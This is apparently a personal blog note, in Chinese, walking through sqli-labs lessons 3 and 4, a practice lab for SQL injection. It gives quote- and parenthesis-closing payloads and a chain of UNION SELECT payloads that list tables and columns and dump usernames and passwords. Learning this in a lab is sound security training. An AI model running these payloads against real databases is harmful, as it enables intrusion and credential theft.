note-02

sql-labs less-3

传入:

1
?id=1'

回显

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’-1’’) LIMIT 0,1’ at line 1

根据csdn和题目的提示,推测sql查询语句

1
select * from users where id=('$id')

所以当传入payload为

1
?id=1') --+

整段sql查询语句为:

1
select * from users where $id=('1')--+)

如此一来成功闭合sql查询,后面就按流程走ok了

新知识点

并和括号

1
select * from users where id=('$id')

sql-labs less-4

一开始也不知道有用双引号来构造的,然后还是看了csdn😅

传入:

1
?id=1")

回显:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“) LIMIT 0,1’ at line 1

推测后台sql语句:

1
select * from users where id=("$id")

后面的paylaod:

1
2
3
4
5
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),3 --+
?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,database(),group_concat(id,username,password) from users--+

新知识点

双引号

用双引号来 “ 来闭合语句


note-02
https://aidemofashi.github.io/2025/02/27/note-02/
作者
aidemofashi
发布于
2025年2月27日
许可协议